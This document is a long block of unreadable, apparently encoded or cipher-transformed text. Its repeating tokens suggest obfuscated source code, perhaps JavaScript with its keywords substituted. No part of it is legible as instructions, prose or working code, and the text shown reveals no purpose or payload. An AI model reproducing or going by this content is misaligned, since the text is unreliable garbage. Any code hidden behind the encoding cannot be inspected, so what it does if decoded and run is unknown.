XQLZ`MZKJMQY^SLZ555V	SWFXO\QQ[FEFRTLZZP[K
HJGOW
XQLZ`5VYV	SWFXO\QQ[F
	
MZKJMQKMJZ5VYV	SWFXO\QQ[FMZKJMQY^SLZ5PHHP
]LS	XWLKMVH`INEO^FN]EX	HJGOW
XQLZ`	
5WEOXMNPREVS]VXM][PQ]Y\L	
PHHP
]LS	XWLKMVH`INEO^FN]EX	
PHHP
]LS	XWLKMcK5MZKJMQWEOXMNPREVS]EFRTLZZP[K
PHHP
]LS	XWLKM

5B5YJQ\KVPQZEGGFQGIVMRHPQJ\Q]YRY^SLZ5D5LK^KV\OSWHU\SXQFGQJSS5VYPQJ\Q]YRD5OSWHU\SXQFGQJSS5B5VYOSWHU\SXQFGQJSSMZKJMQOSWHU\SXQFG55HJGOW
XQLZ`Y^SLZ5K\OKKY`PJ]KKXWVXM][PQ]Y\L

M	L]ZERIQTRRO`OVFNowo`vqk`r~gowo`vqk`r~gMNSRGIXQNLQTRRO`OVFN5VYK\OKKY`PJ]KKXWK\OKKY`PJ]KKXWK\OKKY`PJ]KKXW

HJGOW
XQLZ`EFRTLZZP[K	
	M	L]ZERI5VYVXM][PQ]Y\L	HJGOW
XQLZ`]]W	SFT[SO[QS		HJGOW
XQLZ`
	HJGOW
XQLZ`UH`VLVJVW
UTUZHJGOW
XQLZ`555VYVXM][PQ]Y\L	HJGOW
XQLZ`VXM][PQ]Y\L	HJGOW
XQLZ`	VH`INEO^FN]EX	HJGOW
XQLZ`	]MXM\FR
]WN
KZE	HJGOW
XQLZ`IE[
QM[VN\`]\E]JHJGOW
XQLZ`D5OSWHU\SXQFGHJGOW
XQLZ`5MZKJMQOSWHU\SXQFG5B5\	X]ZUHM^PW]VJIUHXHJMEQT``GVH`INEO^FN]EX5VYVH`INEO^FN]EX	\	X]ZUHM^PVH`INEO^FN]EX	\	X]ZUHM^P	EFRTLZZP[K	\	X]ZUHM^P]MXM\FR
]WN
KZE	\	X]ZUHM^PIE[
QM[VN\`]\E]J\	X]ZUHM^PD5OSWHU\SXQFG\	X]ZUHM^P5MZKJMQOSWHU\SXQFG5B5OSWHU\SXQFGY^SLZ5MZKJMQOSWHU\SXQFG5B5YJQ\KVPQGK^MSXUNEKNHLVKPQJ\Q]YRY^SLZ5D5LK^KV\\	IVMTSYX`IQJSS555VYPQJ\Q]YRD5ho}SP\T~ovILZKKVQXLLZ\KVPQ55\	IVMTSYX`IQJSS5B5ho{^K^rP[JSZLZMV^SVE^]SZ[VLO^K\WZM55VY\	IVMTSYX`IQJSSMZKJMQ\	IVMTSYX`I5HJGOW
XQLZ`ZEGGFQGIVMRH5VYVH`INEO^FN]EX	HJGOW
XQLZ`CC]]W	SFT[SO[QS	HJGOW
XQLZ`
CCEFRTLZZP[K	HJGOW
XQLZ`CC]MXM\FR
]WN
KZE	HJGOW
XQLZ`CCIE[
QM[VN\`]\E]JHJGOW
XQLZ`D5\	IVMTSYX`IY^SLZ5MZKJMQ\	IVMTSYX`I5B5\	IVMTSYX`IVXM][PQ]Y\L	
J
`GQOYQO	U]YI\VF`HJGOW
XQLZ`5MZKJMQ\	IVMTSYX`I5B5YJQ\KVPQXTH	YWFZGV^ZLGWGRPQEIHXNRM5D5VYVXM][PQ]Y\L	GWGRPQEIHXNRMCCVH`INEO^FN]EX	GWGRPQEIHXNRMa
CC]]W	SFT[SO[QS	GWGRPQEIHXNRMcGYcG]MZKJMQ555HL	KL	\SRPVH`INEO^FN]EX
i]]W	SFT[SO[QS	GWGRPQEIHXNRMGG55HL	KL	\SRP]]W	SFT[SO[QSHL	KL	\SRP HL	KL	\SRPdb5VYHL	KL	\SRPCCHL	KL	\SRP

MZKJMQHL	KL	\SRP5MZKJMQ5B5YJQ\KVPQWKTRENHX
RYH`TE[IU
LRQ	YO55D5MZKJMQVXM][PQ]Y\LWZG[Z\IU
LRQ	YOdb5B5YJQ\KVPQKYRNPPYTJF^ZT
PQHVRLXYOW5D5VYVH`INEO^FN]EX	VRLXYOWCCVRLXYOWMZKJMQVRLXYOWFOW^YOT^Z[MTTEZM[^MFOW^YOT^Z5LK^KV\YIYVUIFGSFLQJSS5VYYIYVUIFGSFLQJSSD5YIYVUIFGSFLY^SLZ5VYEFRTLZZP[K	EFRTLZZP[K	D5555`[[[ZYVQZ[EFRTLZZP[K		 ho`|pqkzqk`{vm[ZYVQZ[EFRTLZZP[K
	
 ~}lo~kw5VY`[[D555QF	LP`L[VLT`YMZZ`LO^\Z`[[5VYQF	LP`LY^SLZQF	LP`L		
	YIYVUIFGSFLKMJZ5B5B5VYYIYVUIFGSFLD5VYEFRTLZZP[K	EFRTLZZP[K	JO[^KZ`POKVPQEFRTLZZP[K	VXM][PQ]Y\L	VH`INEO^FN]EX

^KMV]JGXGGZWXQRPVWMUFYE^KMV]JGX5BZSLZVY]]W	SFT[SO[QS	EFRTLZZP[K		D5WJRXR
SK\HWRVQKXZK`POKVPQ]]W	SFT[SO[QS	555VYWJRXR
SK\HWRVXM][PQ]Y\L	WJRXR
SK\HWR	YIYVUIFGSFLY^SLZ5B5B5VYYIYVUIFGSFLD5MZKJMQVRLXYOW5hozQKVKFmZ\PM[LLV[Z]^MMZXVPQ55B5VLXMN]]GO
EFRTLZZP[K5VY]]W	SFT[SO[QS	VRLXYOWVLXMN]]GOMZKJMQVRLXYOW5VYVH`INEO^FN]EX	
VXM][PQ]Y\LVRLXYOW]]W	SFT[SO[QS		MZKJMQVRLXYOW5555HWVSZVH`INEO^FN]EX	VRLXYOWVLXMN]]GO
	D5OUYP\PUYJ
	5VYVXM][PQ]Y\L	VH`INEO^FN]EX	D5KMFD5OUYP\PUYJ
	VH`INEO^FN]EX	M^Q[PR`]FKZL		5B\^K\WkWMPH^]SZSKQO
]K`D55OUYP\PUYJ
	5B\^K\WzG\ZOKVPQSKQO
]K`D5OUYP\PUYJ
	5B5B5VYVH`INEO^FN]EX	OUYP\PUYJ
		
D5OUYP\PUYJ
	VH`INEO^FN]EX	JQVNV[KMJZ5HWVSZEFRTLZZP[K	OUYP\PUYJ
		OUYP\PUYJ
	VH`INEO^FN]EX	OUYP\PUYJ
	5B5VRLXYOWcQOUYP\PUYJ
	EFRTLZZP[K5B5MZKJMQVRLXYOW5B55YJQ\KVPQUH`VLVJVW
UTUZVRLXYOW5D55VYVXM][PQ]Y\LVRLXYOWCCVH`INEO^FN]EX	VRLXYOWMZKJMQVRLXYOWHSVESE
Q\		^^XZN	NHSVESE
Q\5RURMZLVT]XJIEFRTLZZP[K	]]W	SFT[SO[QSVRLXYOW5MZKJMQVH`INEO^FN]EXRURMZLVT]XJI RURMZLVT]XJIVRLXYOWFGTOUUYNK
EL\GZFGTOUUYNK FGTOUUYNKFGTOUUYNK5B5YJQ\KVPQS^YTFWKYW`^QSGTU\Z5D5R^KMVGKM^QLOPLZ55VYVH`INEO^FN]EX]]W	SFT[SO[QS
CC]]W	SFT[SO[QSVXM][PQ]Y\L	MZKJMQ5VYVH`INEO^FN]EX	QSGTU\ZCCQSGTU\ZCCEFRTLZZP[KQSGTU\ZMZKJMQ5\^JL^SLVQXSZKPQ55VYVLLZKxsp}~sld]]W	SFT[SO[QSbCC]]W	SFT[SO[QSxsp}~sldVXM][PQ]Y\LbD5xsp}~sldVH`INEO^FN]EXbXZK`POKVPQVXM][PQ]Y\L^MM^F555VY]]W	SFT[SO[QSxsp}~sldEFRTLZZP[Kbxsp}~sldVH`INEO^FN]EXb^MM^F5B5IU
LRQ	YOxsp}~sld]]W	SFT[SO[QSb5VRLXYOW]]W	SFT[SO[QSQSGTU\Z555VY]]W	SFT[SO[QS	VRLXYOWMZKJMQ5555VYEFRTLZZP[K	VRLXYOWG\^Y
^G
^	VRLXYOWUH`VLVJVW
UTUZVRLXYOW55IU
LRQ	YOdVH`INEO^FN]EX	QSGTU\Zb^MM^FOQSGTU\ZWEFRTLZZP[KVRLXYOWXHX]T^EKEHX	P^Q^	HYKKEFRTLZZP[K	5VYEFRTLZZP[K
IU
LRQ	YOD555YPMZ^\WIU
LRQ	YO^LZJ`YKM
U	]
IT`GFMXHSD555VYVH`INEO^FN]EXIT`GFMXHSCCVLLZKIT`GFMXHSdKbCCVQKIT`GFMXHSdKbEFRTLZZP[K	

JQLZKIU
LRQ	YOdZJ`YKM
U	]
b5555B5HWVSZEFRTLZZP[K
IU
LRQ	YO

D5YFHZNNM^LYNGQJSS5W	UEL]E\ZJMPQJSS5YPMZ^\WIU
LRQ	YO^LZJ`YKM
U	]
IT`GFMXHSD5R]PYYZ\NIG
U[EFRTLZZP[KIT`GFMXHSVLLZKIT`GFMXHSdKb VQKIT`GFMXHSdKb5VYW	UEL]E\ZJMPQJSSCCR]PYYZ\NIG
U[W	UEL]E\ZJMPD5W	UEL]E\ZJMPR]PYYZ\NIG
U[5YFHZNNM^LYNGZJ`YKM
U	]
5B5B5VYYFHZNNM^LYNGQJSS]MZ^T5JQLZKIU
LRQ	YOdYFHZNNM^LYNGb55B5555B5JO[^KZ`POKVPQVH`INEO^FN]EXIU
LRQ	YO]]W	SFT[SO[QS

5xsp}~sldVXM][PQ]Y\LbIU
LRQ	YO5B5YJQ\KVPQJLXGNTX^\ZXMOFUXVXSQSGTU\Z5D5VYVXM][PQ]Y\L	QSGTU\ZCCQSGTU\ZMZKJMQY^SLZ5VYVLLZKxsp}~sldVH`INEO^FN]EXbCC]]W	SFT[SO[QSxsp}~sld]]W	SFT[SO[QSbD5555xsp}~sldVXM][PQ]Y\L
bVH`INEO^FN]EX	EFRTLZZP[K
 XZK`POKVPQ]]W	SFT[SO[QS^MM^F^MM^F5VYVH`INEO^FN]EXxsp}~sldEFRTLZZP[K
bxsp}~sldVXM][PQ]Y\L
b^MM^F5B5o|mzuvkLOZ\V^SVEZMZOSV\^KPM555IU
LRQ	YOxsp}~sld]]W	SFT[SO[QS
b5NK^G]NQQJ	QNVXM][PQ]Y\LQSGTU\Z5VYVLLZKIU
LRQ	YOdNK^G]NQQJ	QNbVH`INEO^FN]EXIU
LRQ	YOdNK^G]NQQJ	QNbVLLZKIU
LRQ	YOdNK^G]NQQJ	QNbdWbD5VYVQKEFRTLZZP[K

QSGTU\Z


MZKJMQEFRTLZZP[K5VRLXYOWVXM][PQ]Y\LQSGTU\Z5VYVXM][PQ]Y\L	VRLXYOWD5VYVH`INEO^FN]EX	VRLXYOWGY	ZG]	VRLXYOWUH`VLVJVW
UTUZVRLXYOW5MZKJMQ]]W	SFT[SO[QSVRLXYOWIU
LRQ	YOdNK^G]NQQJ	QNbdWb KMJZVXM][PQ]Y\L5B5MZKJMQY^SLZ555B55[IYHYIJMVXM][PQ]Y\LQSGTU\ZY^SLZQJSS
	5VY555VH`INEO^FN]EX	[IYHYIJMVH`INEO^FN]EX]]W	SFT[SO[QS[IYHYIJM5GZV`\ZHSHL[TYIQSGTU\Z

5D5VYVQKVXM][PQ]Y\L

QSGTU\Z

MZKJMQY^SLZ5555VRLXYOWLKMVQXVH`INEO^FN]EXQSGTU\Z5VYVH`INEO^FN]EX	VRLXYOW		VRLXYOWUH`VLVJVW
UTUZVRLXYOW5VYIE[
QM[VN\`]\E]JVRLXYOWMZKJMQEFRTLZZP[K5B5MZKJMQY^SLZ555B5YJQ\KVPQIX^[N]QQ\^PJF5D5LK^KV\IU
LRQ	YOQJSS5VYIU
LRQ	YOQJSSMZKJMQIU
LRQ	YO55VRLXYOWLKMVQX]]W	SFT[SO[QSM	L]ZERI5VYVH`INEO^FN]EXVRLXYOW

		
VRLXYOWUH`VLVJVW
UTUZVRLXYOW5IU
LRQ	YO]]W	SFT[SO[QSVRLXYOW55MZKJMQIU
LRQ	YO5B5YJQ\KVPQRVKORHKXSFJS`VMQF55D555MZKJMQVXM][PQ]Y\LIX^[N]QQ\^PJF5B5YJQ\KVPQ\ZT[RGZW[TJ555D5MZKJMQHRKKYPFNI]Q]XV]]W	SFT[SO[QS
PLZOO]ZZSGMJW~}lo~kw]]W	SFT[SO[QS		VH`INEO^FN]EX5B5YJQ\KVPQKSG\LW^XG]H	5D5PU^`XYOYUYEK^MM^F5VY]]W	SFT[SO[QSVH`INEO^FN]EX
D5MZ\JMLVIZY^\KPMF55R^JV]REFM`XZK`POKVPQEFRTLZZP[K^MM^F5VY]]W	SFT[SO[QSR^JV]REFM`PU^`XYOYUYEKR^JV]REFM`5holO^\ZM}SP\TO^K\WKFOZZQIVMPQRZQK55B5VRLXYOW]]W	SFT[SO[QS\ZT[RGZW[TJ VH`INEO^FN]EX\ZT[RGZW[TJ5VY]]W	SFT[SO[QS	VRLXYOWEFRTLZZP[K	VRLXYOW]]W	SFT[SO[QS	D5KU`ZSGV`VH`INEO^FN]EX	VXM][PQ]Y\LVRLXYOWaKMJZ5VYVXM][PQ]Y\LKU`ZSGV`ZROKFPU^`XYOYUYEKdEFRTLZZP[KbCCZROKFKU`ZSGV`dVXM][PQ]Y\LbKU`ZSGV`d]]W	SFT[SO[QSbPU^`XYOYUYEKdEFRTLZZP[KbPU^`XYOYUYEKKU`ZSGV`5B5MZKJMQPU^`XYOYUYEK5B5YJQ\KVPQQ	
OIM^H]XFX^SPQG]\NIHI5D5\PQIZGKMVZ55KMFD5VY[ZYVQZ[VH`INEO^FN]EX
	
MZKJMQ5]N[INHGLUPJZSVXM][PQ]Y\L	5VYPQG]\NIHI]]W	SFT[SO[QSCCPQG]\NIHI]]W	SFT[SO[QS
D5OMZIKSG\LW^XG]H	5VY5VLLZKOMZIdVXM][PQ]Y\L	bOMZIdVXM][PQ]Y\LbOMZIdVXM][PQ]Y\L	bPQG]\NIHI5555]N[INHGLUPJZSVQKOMZIdVXM][PQ]Y\LbPQG]\NIHIEFRTLZZP[K
 				555MZKJMQ5B5LZLNJVSVQZ^MLKM^KZXF55PU^`XYOYUYEK^MM^F55IHX]T^EKEHX	P^Q^	HYK5]]W	SFT[SO[QSRVKORHKXSFJS`VMQF5EFRTLZZP[KM	L]ZERI555EFRTLZZP[K
]]W	SFT[SO[QS		M	L]ZERIVH`INEO^FN]EX55VXM][PQ]Y\L	PQG]\NIHI5EFRTLZZP[K]N[INHGLUPJZS5VXM][PQ]Y\L]N[INHGLUPJZS5VH`INEO^FN]EXVLLZK`lzmizmd]]W	SFT[SO[QSb VQK`lzmizmdVXM][PQ]Y\Lb]N[INHGLUPJZS5555VYVH`INEO^FN]EXVH`INEO^FN]EX	JO[^KZ`POKVPQVH`INEO^FN]EXPU^`XYOYUYEKVXM][PQ]Y\L5MOTSTJ\LHRKKYPFNI]Q]XV5VYEFRTLZZP[KMOTSTJ\LCC`QGTGLSFXUY^^[MOTSTJ\L
	
KMJZD5VXM][PQ]Y\L\ZT[RGZW[TJEFRTLZZP[K	VH`INEO^FN]EX	PU^`XYOYUYEK5B5B\^K\WkWMPH^]SZSKQO
]K`D5B\^K\WzG\ZOKVPQSKQO
]K`D5B5B5555YJQ\KVPQ\JO\\Z\^IQJYGPU^`XYOYUYEK5D5VYVXM][PQ]Y\LPU^`XYOYUYEKCCZROKFPU^`XYOYUYEKdVXM][PQ]Y\L
bCCVXM][PQ]Y\L	PU^`XYOYUYEKd]]W	SFT[SO[QS
bMZKJMQVXM][PQ]Y\L5YS]Y^ERQVMPPU^`XYOYUYEKd]]W	SFT[SO[QSb5VY]]W	SFT[SO[QSYS]Y^ERQVMPCCVQK]]W	SFT[SO[QSYS]Y^ERQVMP
MZKJMQVH`INEO^FN]EX5VYIUQRNHXNPY
MQYS]Y^ERQVMPMZKJMQVXM][PQ]Y\L	5Z`SYXIK^`JVLLZKPU^`XYOYUYEKd]]W	SFT[SO[QS	b PU^`XYOYUYEKdVXM][PQ]Y\L	b5LPQVNF`ZLRUIVLLZKPU^`XYOYUYEKd]]W	SFT[SO[QS
b VQKPU^`XYOYUYEKdVH`INEO^FN]EX
b555VYZ`SYXIK^`JVH`INEO^FN]EX
MZKJMQLPQVNF`ZLRUIEFRTLZZP[K	LPQVNF`ZLRUI
 ]]W	SFT[SO[QS
VXM][PQ]Y\L
5VYZ`SYXIK^`JVXM][PQ]Y\L
MZKJMQVXM][PQ]Y\L
5VYZ`SYXIK^`J]]W	SFT[SO[QSMZKJMQLPQVNF`ZLRUIEFRTLZZP[K	LPQVNF`ZLRUIG	G	 VXM][PQ]Y\L
EFRTLZZP[K
555MZKJMQ]]W	SFT[SO[QS

5B5YJQ\KVPQQI
\EJ
PH\WGMQSGTU\Z5D5VYEFRTLZZP[KQSGTU\ZMZKJMQY^SLZ55WWRSSRFXKKZPVQKVH`INEO^FN]EX
	QSGTU\Z5VYWWRSSRFXKKZPGG\CCWWRSSRFXKKZP	
		MZKJMQY^SLZ55[IYHYIJM]]W	SFT[SO[QSQSGTU\ZY^SLZQJSS
5VYEFRTLZZP[K	[IYHYIJMCC]]W	SFT[SO[QSVXM][PQ]Y\L[IYHYIJMMZKJMQY^SLZ5VYWWRSSRFXKKZP
D5VLXMN]]GO]]W	SFT[SO[QS
QSGTU\ZY^SLZQJSSWWRSSRFXKKZP	5MZKJMQ]]W	SFT[SO[QS
VLXMN]]GO]]W	SFT[SO[QSVH`INEO^FN]EX
VLXMN]]GO5555B555VRLXYOWVH`INEO^FN]EX	QSGTU\Z5VYVXM][PQ]Y\L
VRLXYOWMZKJMQY^SLZ5MZKJMQIE[
QM[VN\`]\E]JVRLXYOW5B5YJQ\KVPQIUQRNHXNPY
MQQSGTU\Z5D5[INN^OUHUIEFVH`INEO^FN]EX		QSGTU\ZVH`INEO^FN]EX	5YPMZ^\W^MM^F]]W	SFT[SO[QS	QSGTU\ZJ`\^PQZPIIFTLPWKQ^LZMQZWP	SED5]UG^Y`	VM	^^YZMQZWP	SEEFRTLZZP[K	[INN^OUHUIEF5VYVH`INEO^FN]EX	]UG^Y`	VM	^^YCCVQK]]W	SFT[SO[QS	]UG^Y`	VM	^^Y]]W	SFT[SO[QS		\PQKVQJZ55^YSXYFW
EFRTLZZP[KLKMVQX]]W	SFT[SO[QS	]UG^Y`	VM	^^Y555VY^YSXYFW
\PQKVQJZ555VRLXYOWLKMVQXVXM][PQ]Y\L	QSGTU\Z5VYVXM][PQ]Y\LVRLXYOW

VRLXYOWUH`VLVJVW
UTUZVRLXYOW555VYVRLXYOWEFRTLZZP[K	
VRLXYOW^YSXYFW
MZKJMQKMJZ5B5MZKJMQY^SLZ5B5YJQ\KVPQMHRGVMLV`WI]Q[VGQSGTU\Z5D5VYVH`INEO^FN]EX]]W	SFT[SO[QS
CC]]W	SFT[SO[QS]]W	SFT[SO[QS		MZKJMQ5EPFMHRFGKXZK`POKVPQVH`INEO^FN]EX	^MM^F5VYEFRTLZZP[KEPFMHRFGKEPFMHRFGK^MM^F5EPFMHRFGKd]]W	SFT[SO[QS	
QSGTU\ZbQSGTU\Z5VYVH`INEO^FN]EX
EPFMHRFGKEPFMHRFGKVXM][PQ]Y\L	EPFMHRFGKGZG	QJSSKMJZ5JO[^KZ`POKVPQVXM][PQ]Y\L	EPFMHRFGKVH`INEO^FN]EX5B5555YJQ\KVPQN
UZ\I\EQ]YF	I]5D5VYVH`INEO^FN]EX]]W	SFT[SO[QS
CCVXM][PQ]Y\LVXM][PQ]Y\L		MZKJMQ5EPFMHRFGKXZK`POKVPQ]]W	SFT[SO[QS	^MM^F5VY]]W	SFT[SO[QSEPFMHRFGKCCZROKFEPFMHRFGKMZKJMQ5G^IP	XF	X^MM^F5555YPMZ^\WEPFMHRFGK^LZJ`YKM
U	]
YS]Y^ERQVMPD5VYEFRTLZZP[K
YS]Y^ERQVMPCCYS]Y^ERQVMPCC]]W	SFT[SO[QS	YS]Y^ERQVMP\PQKVQJZ5VYJLXGNTX^\ZXMOFUXVXSYS]Y^ERQVMPY^SLZDG^IP	XF	XdZJ`YKM
U	]
bYS]Y^ERQVMP\PQKVQJZB55NNKZM`SOUHJYLELIV\ZYS]Y^ERQVMP
		5VYVFSMLJMN\IFZNQYS]Y^ERQVMPDVU
RLYINXI[
	NMYQ
U^[VU
RLYINXI[5VYEFRTLZZP[KVH`INEO^FN]EXPO\^\WZ`VQI^SV[^KZYS]Y^ERQVMPKMJZ5BZSLZVYVXM][PQ]Y\L	YS]Y^ERQVMPD5G^IP	XF	XdZJ`YKM
U	]
bYS]Y^ERQVMP5B5B5JO[^KZ`POKVPQVH`INEO^FN]EX	G^IP	XF	XVXM][PQ]Y\L5B5YJQ\KVPQ^I[VKT
SPRX\L`SQXY5D5KMFD5555SKQO
]K`VXM][PQ]Y\LVXM][PQ]Y\L	 ZMMPM`XZK`S^LKQJSS5VY5]]W	SFT[SO[QSSKQO
]K`ZROKFSKQO
]K`dEFRTLZZP[K	bZROKFSKQO
]K`dVH`INEO^FN]EXb5]]W	SFT[SO[QS	SKQO
]K`dEFRTLZZP[Kb^MM^Fz`zmmpmz`o~mlzz`|pmz`zmmpmz`|provsz`zmmpmz`jlzm`zmmpmKMJZ5D5EUZYUEL	]
IZSVVH`INEO^FN]EXM	L]ZERI55555`ZYVXM][PQ]Y\LSKQO
]K`d]]W	SFT[SO[QS	b5555VY]]W	SFT[SO[QS
EUZYUEL	]
IZSVEFRTLZZP[K
`ZY`ZYEUZYUEL	]
IZSVMZKJMQ5B5Q	
OIM^H]XFX^SEFRTLZZP[K
5VY[ZYVQZ[EFRTLZZP[K
	
D5RVPKO	
QLOSVHXORLH`ZO555VYVXM][PQ]Y\L	RVPKO	
QLOdbD5H^Q	QR	[]]]W	SFT[SO[QS	RVPKO	
QLOdbY^SLZQJSSa55VYEFRTLZZP[K
H^Q	QR	[]VH`INEO^FN]EX	H^Q	QR	[]]]W	SFT[SO[QS
HX]T^EKEHX	P^Q^	HYKD555JPRY	KEWUPVXM][PQ]Y\L	RVPKO	
QLOdbEFRTLZZP[K	 VH`INEO^FN]EX	RVPKO	
QLOdbEFRTLZZP[KY^SLZQJSS
5VYJPRY	KEWUPH^Q	QR	[]]]W	SFT[SO[QSRVPKO	
QLOdbRVPKO	
QLOdbVXM][PQ]Y\L5B5B5JQLZKRVPKO	
QLOH^Q	QR	[]JPRY	KEWUP5B5B\^K\WkWMPH^]SZU]^I[IQQON]TD5B\^K\WzG\ZOKVPQU]^I[IQQON]TD5B5B5YJQ\KVPQEH	
KZQJG^SW\[O
FEKIKOWS[L]5D5555VYVXM][PQ]Y\LKIKOWS[L]MZKJMQ5VY]]W	SFT[SO[QS]]W	SFT[SO[QS
KIKOWS[L]IHF]F[
]OTVXD5YPMZ^\WIHF]F[
]OTVXdb^LE]OKOGJV]D5VYXTH	YWFZGV^ZLVXM][PQ]Y\LE]OKOGJV]KMJZMZKJMQ5B5B5555VY]]W	SFT[SO[QS	EFRTLZZP[KKIKOWS[L]IHF]F[
]OTVXD5YPMZ^\WIHF]F[
]OTVXdb^LE]OKOGJV]D5VYXTH	YWFZGV^ZLLKMVO\LS^LWZLE]OKOGJV]MZKJMQ5VYVH`INEO^FN]EX	E]OKOGJV]VXM][PQ]Y\LY^SLZDP
SKHVS
JF^owo`r~upm`izmlvpqFFWFR]J]TJ	P
SKHVS
JF^5S^[GFLUZ	L[`OMZX`MZOS^\Z`\^SS]^\TVH`INEO^FN]EXVH`INEO^FN]EXE]OKOGJV]5VYEFRTLZZP[KS^[GFLUZ	L[`S^[GFLUZ	L[`E]OKOGJV]XTH	YWFZGV^ZLS^[GFLUZ	L[`MZKJMQ5B5B5B5VYVXM][PQ]Y\L	VXM][PQ]Y\LKIKOWS[L]IHF]F[
]OTVXD555YPMZ^\WIHF]F[
]OTVXdb^LE]OKOGJV]D555VYXTH	YWFZGV^ZLVH`INEO^FN]EX^MM^FVH`INEO^FN]EXVXM][PQ]Y\L^MM^FcccE]OKOGJV]MZKJMQ5555VYEFRTLZZP[K	E]OKOGJV]]]W	SFT[SO[QSY^SLZD5S^[GFLUZ	L[`OMZX`MZOS^\Z`\^SS]^\T]]W	SFT[SO[QS]]W	SFT[SO[QSE]OKOGJV]5VYVXM][PQ]Y\L
S^[GFLUZ	L[`S^[GFLUZ	L[`E]OKOGJV]XTH	YWFZGV^ZLS^[GFLUZ	L[`MZKJMQ5555B5B5B5MZKJMQKIKOWS[L]5B5YJQ\KVPQH]MRSHU\[MNIGHJGOW
XQLZ`5D5VYVXM][PQ]Y\L
HJGOW
XQLZ`CCVXM][PQ]Y\L	HJGOW
XQLZ`]]W	SFT[SO[QS	Y^SLZVXM][PQ]Y\LHJGOW
XQLZ`EFRTLZZP[KY^SLZMZKJMQY^SLZ5555VYVXM][PQ]Y\L	]]W	SFT[SO[QS
HJGOW
XQLZ`IHF]F[
]OTVXD555YPMZ^\WIHF]F[
]OTVXdb^LE]OKOGJV]D5VYXTH	YWFZGV^ZLEFRTLZZP[KE]OKOGJV]KMJZMZKJMQKMJZ5B5B5VYVH`INEO^FN]EX	VXM][PQ]Y\LHJGOW
XQLZ`IHF]F[
]OTVXD55YPMZ^\WIHF]F[
]OTVXdb^LE]OKOGJV]D5VYXTH	YWFZGV^ZLLKMVO\LS^LWZLE]OKOGJV]MZKJMQKMJZ5B5KVRZPJKYSFHZVXWK55YPMZ^\WIHF]F[
]OTVXdb^LE]OKOGJV]D5555VYEFRTLZZP[KE]OKOGJV]]]W	SFT[SO[QSY^SLZ\PQKVQJZ555S^[GFLUZ	L[`OMZX`MZOS^\Z`\^SS]^\TVH`INEO^FN]EXEFRTLZZP[KE]OKOGJV]5VY]]W	SFT[SO[QS
S^[GFLUZ	L[`S^[GFLUZ	L[`E]OKOGJV]XTH	YWFZGV^ZLS^[GFLUZ	L[`MZKJMQKMJZ5B5B5VYEFRTLZZP[KEFRTLZZP[KHJGOW
XQLZ`IHF]F[
]OTVXD555YPMZ^\WIHF]F[
]OTVXdb^LE]OKOGJV]D55VYXTH	YWFZGV^ZL]]W	SFT[SO[QS^MM^FVXM][PQ]Y\L]]W	SFT[SO[QS^MM^FcccE]OKOGJV]MZKJMQKMJZ555B5YPMZ^\WIHF]F[
]OTVXdb^LE]OKOGJV]D5VYEFRTLZZP[KE]OKOGJV]]]W	SFT[SO[QSY^SLZ\PQKVQJZ5S^[GFLUZ	L[`OMZX`MZOS^\Z`\^SS]^\TEFRTLZZP[KEFRTLZZP[KE]OKOGJV]5VYVH`INEO^FN]EXS^[GFLUZ	L[`S^[GFLUZ	L[`E]OKOGJV]XTH	YWFZGV^ZLS^[GFLUZ	L[`MZKJMQKMJZ55B5B5MZKJMQY^SLZ555B5YJQ\KVPQMPT
KNP	YIHEHJGOW
XQLZ`5DT]FUEV
C]MRYIH
`]PT]FUEVa5555VYVH`INEO^FN]EXHJGOW
XQLZ`CCHJGOW
XQLZ`MZKJMQ5MZKJMQVXM][PQ]Y\LVXM][PQ]Y\LEFRTLZZP[KHJGOW
XQLZ`		IU
LRQ	YO IU
LRQ	YOdb5B5YJQ\KVPQV[JMHEZQKGGTGGVRLXYOWTMRFHGZFR`MPUGISLYW[	`UENQJSS5DU\WM
WUVS^[^LJH]UU\WM
WUV U\WM
WUVU\WM
WUV5VYVH`INEO^FN]EX
VRLXYOWCCVRLXYOWMZKJMQVRLXYOW5^XUUE^QLHWIRPS]]W	SFT[SO[QS	TMRFHGZFR`MPUGVXM][PQ]Y\L	5MVE\IUEPWNQ[G`G5TYW	WU`SOY]X5HWVSZTYW	WU`SOY]X
D5M[	^
S\PYVH`INEO^FN]EXVRLXYOW^XUUE^QLHWIRPS5VYM[	^
S\PYY^SLZ]MZ^T5HL	KL	\SRPM[	^
S\PY]]W	SFT[SO[QS^XUUE^QLHWIRPS5\[XL[		^QH
[K]]W	SFT[SO[QSVRLXYOWVXM][PQ]Y\L	HL	KL	\SRP5VY\[XL[		^QH
[KY^SLZCC\[XL[		^QH
[KHL	KL	\SRPaD5MVE\IUEPWNQ[G`G]]W	SFT[SO[QSVRLXYOWHL	KL	\SRP55VRLXYOWVH`INEO^FN]EXVRLXYOWHL	KL	\SRP5\PQKVQJZ5B5YI^VQSFLUVXM][PQ]Y\LVRLXYOWHL	KL	\SRP\[XL[		^QH
[KHL	KL	\SRP555VYVH`INEO^FN]EX]]W	SFT[SO[QSYI^VQSFLUD5MVE\IUEPWNQ[G`GVH`INEO^FN]EXVRLXYOWHL	KL	\SRP5VRLXYOW]]W	SFT[SO[QSVRLXYOWHL	KL	\SRP5\PQKVQJZ5B5ZV
XVNLNVH`INEO^FN]EXTMRFHGZFR`MPUGVH`INEO^FN]EXYI^VQSFLUVXM][PQ]Y\L	5FYTR\ZFVE[H\VXM][PQ]Y\LVRLXYOWZV
XVNLN\[XL[		^QH
[K5VYFYTR\ZFVE[H\Y^SLZ]MZ^T55MVE\IUEPWNQ[G`GEFRTLZZP[KVRLXYOWM[	^
S\PY5YIYO[^[IRZVXM][PQ]Y\LVRLXYOWM[	^
S\PYFYTR\ZFVE[H\]]W	SFT[SO[QSZV
XVNLNM[	^
S\PY5VYISLYW[	`UENQJSSD5OUYP\PUYJ
	VXM][PQ]Y\L
ISLYW[	`UENYIYO[^[IRZ5VYEFRTLZZP[K
OUYP\PUYJ
	MVE\IUEPWNQ[G`GOUYP\PUYJ
	555BZSLZD5MVE\IUEPWNQ[G`GYIYO[^[IRZ^TFLHYS
E`ONowo`r~upm`izmlvpq^RNX\GW^TFLHYS
E`ON
55B5VRLXYOWVXM][PQ]Y\LVRLXYOWFYTR\ZFVE[H\VXM][PQ]Y\LZV
XVNLN555B55MZKJMQMVE\IUEPWNQ[G`GVRLXYOW555B5YJQ\KVPQXN	LRVUS\[LJ
VUKIKOWS[L]5D555MZKJMQ555B5YJQ\KVPQQI[TRJEK\O[KIKOWS[L]5D55VYEFRTLZZP[K
KIKOWS[L]MZKJMQ555VY[ZYVQZ[]]W	SFT[SO[QS
	
